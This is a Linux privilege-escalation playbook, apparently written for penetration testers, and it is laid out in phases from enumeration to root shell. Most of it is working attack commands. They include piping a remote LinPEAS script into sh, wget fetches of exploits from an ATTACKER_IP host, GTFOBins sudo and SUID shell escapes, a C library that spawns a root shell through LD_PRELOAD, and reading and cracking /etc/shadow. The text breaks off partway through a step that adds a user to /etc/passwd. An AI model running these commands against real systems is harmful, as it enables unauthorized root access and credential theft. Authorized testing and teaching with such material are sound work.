Linux Privilege Escalation

Technical Requirements

• Understanding of Linux filesystem permissions and ownership
• Familiarity with common Linux utilities and scripting
• Knowledge of kernel versions and associated vulnerabilities
• Basic understanding of compilation (gcc) for custom exploits

Recommended Tools

• LinPEAS, LinEnum, or Linux Smart Enumeration scripts
• Linux Exploit Suggester (LES)
• GTFOBins reference for binary exploitation
• John the Ripper or Hashcat for password cracking
• Netcat or similar for reverse shells

Outputs / Deliverables

Primary Outputs

• Root shell access on target system
• Privilege escalation path documentation
• System enumeration findings report
• Recommendations for remediation

Evidence Artifacts

• Screenshots of successful privilege escalation
• Command output logs demonstrating root access
• Identified vulnerability details
• Exploited configuration files

Core Workflow

Phase 1: System Enumeration

Basic System Information

Gather fundamental system details for vulnerability research:

# Hostname and system role
hostname

# Kernel version and architecture
uname -a

# Detailed kernel information
cat /proc/version

# Operating system details
cat /etc/issue
cat /etc/*-release

# Architecture
arch

User and Permission Enumeration

# Current user context
whoami
id

# Users with login shells
cat /etc/passwd | grep -v nologin | grep -v false

# Users with home directories
cat /etc/passwd | grep home

# Group memberships
groups

# Other logged-in users
w
who

Network Information

# Network interfaces
ifconfig
ip addr

# Routing table
ip route

# Active connections
netstat -antup
ss -tulpn

# Listening services
netstat -l

Process and Service Enumeration

# All running processes
ps aux
ps -ef

# Process tree view
ps axjf

# Services running as root
ps aux | grep root

Environment Variables

# Full environment
env

# PATH variable (for hijacking)
echo $PATH

Phase 2: Automated Enumeration

Deploy automated scripts for comprehensive enumeration:

# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
./LinEnum.sh -t

# Linux Smart Enumeration
./lse.sh -l 1

# Linux Exploit Suggester
./les.sh

Transfer scripts to target system:

# On attacker machine
python3 -m http.server 8000

# On target machine
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Phase 3: Kernel Exploits

Identify Kernel Version

uname -r
cat /proc/version

Search for Exploits

# Use Linux Exploit Suggester
./linux-exploit-suggester.sh

# Manual search on exploit-db
searchsploit linux kernel [version]

Common Kernel Exploits

Compile and Execute

# Transfer exploit source
wget http://ATTACKER_IP/exploit.c

# Compile on target
gcc exploit.c -o exploit

# Execute
./exploit

Phase 4: Sudo Exploitation

Enumerate Sudo Privileges

sudo -l

GTFOBins Sudo Exploitation

Reference https://gtfobins.github.io for exploitation commands:

# Example: vim with sudo
sudo vim -c ':!/bin/bash'

# Example: find with sudo
sudo find . -exec /bin/sh \; -quit

# Example: awk with sudo
sudo awk 'BEGIN {system("/bin/bash")}'

# Example: python with sudo
sudo python -c 'import os; os.system("/bin/bash")'

# Example: less with sudo
sudo less /etc/passwd
!/bin/bash

LD_PRELOAD Exploitation

When env_keep includes LD_PRELOAD:

// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

# Compile shared library
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

# Execute with sudo
sudo LD_PRELOAD=/tmp/shell.so find

Phase 5: SUID Binary Exploitation

Find SUID Binaries

find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

Exploit SUID Binaries

Reference GTFOBins for SUID exploitation:

# Example: base64 for file reading
LFILE=/etc/shadow
base64 "$LFILE" | base64 -d

# Example: cp for file writing
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p

# Example: find with SUID
find . -exec /bin/sh -p \; -quit

Password Cracking via SUID

# Read shadow file (if base64 has SUID)
base64 /etc/shadow | base64 -d > shadow.txt
base64 /etc/passwd | base64 -d > passwd.txt

# On attacker machine
unshadow passwd.txt shadow.txt > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Add User to passwd (if nano/vim has SUID)

# Generate password hash
openssl passwd -1 -salt new newpassword

# Add to /etc/passwd (using SUID editor)